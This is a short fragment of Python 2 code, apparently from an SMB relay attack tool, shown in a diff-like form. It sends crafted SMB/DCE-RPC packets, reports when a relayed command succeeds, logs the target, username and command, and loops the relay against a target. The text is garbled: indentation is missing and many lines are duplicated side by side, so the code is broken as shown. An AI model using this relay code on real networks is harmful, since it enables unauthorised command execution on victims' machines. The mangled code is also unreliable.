## DCE/RPC Read Answer.
if data[8:10] == "\x2f\x00":
head = SMBHeader(cmd="\x2e",flag1="\x18", flag2="\x05\x28",mid="\x0b\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30])
t = SMBReadData(FID=f,MaxCountLow="\x40\x02", MinCount="\x40\x02",Offset="\x82\x02\x00\x00")
t.calculate()
packet0 = str(head)+str(t)
buffer1 = longueur(packet0)+packet0
s.send(buffer1)
data = s.recv(2048)
if data[8:10] == "\x2e\x00":
print "[+] Command successful !"
Logs.info('Command successful:')
Logs.info(Target+","+Username+','+CMD)
return True
if data[8:10] != "\x2e\x00":
return False
def RunInloop(Target,Command,Domain): def RunInloop(Target,Command,Domain):
try: try:
while True: while True:
worker = RunRelay(Target,Command,Domain) worker = RunRelay(Target,Command,Domain)
except: except:
raise raise
def main(): def main():
try: try:
thread.start_new(RunInloop,(Target,Command,Domain)) thread.start_new(RunInloop,(Target,Command,Domain))
except KeyboardInterrupt: except KeyboardInterrupt:
exit() exit()
if __name__ == '__main__': if __name__ == '__main__':
try: try:
@@ -445,4 +445,3 @@ if __name__ == '__main__':
except KeyboardInterrupt: except KeyboardInterrupt:
raise raise
raw_input() raw_input()